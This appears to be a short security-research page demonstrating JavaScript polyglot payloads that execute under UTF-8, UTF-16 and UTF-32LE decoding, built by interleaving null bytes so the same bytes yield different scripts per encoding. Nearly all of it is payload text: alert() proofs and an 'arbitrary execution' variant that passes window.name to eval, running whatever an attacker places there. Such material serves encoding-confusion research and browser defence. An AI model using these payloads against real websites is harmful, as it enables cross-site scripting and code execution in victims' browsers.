welcome to the polychar's party


this is an example of a simple payload that works with both utf-8 and utf-16

why/how?

utf-8 > alert(8)|'x=�a�l�e�r�t�(�1�6�)�'
utf-16 > 愊敬瑲㠨簩砧=alert(16)

or with arbitrary execution

utf-8 > aa=eval
b='nam\x66'
aa(self[b])|'x=�e�v�a�l�(�n�a�m�e�)�'


utf-16 > 慡攽慶੬㵢渧浡硜㘶ਧ慡猨汥学嵢簩砧=eval(name)

and now also, from the most remote corners of the world... utf-16 and utf-32le! (not supported by Firefox)

why/how?

utf-16 > '=�a�l�e�r�t�(�3�2�)�/�/�'-alert(16)
utf-32le > 𠀧=alert(32)//������

[new!] can we mix them all? yes we can

why/how?

utf-8 > '��=���a���l���e���r���t���(���3���2���)���/���/���'-alert(8)//'�-�a�l�e�r�t�(�1�6�)�
utf-16 > '=�a�l�e�r�t�(�3�2�)�/�/�ⴧ污牥⡴⤸⼯'-alert(16)
utf-32le > 𠀧=alert(32)//���������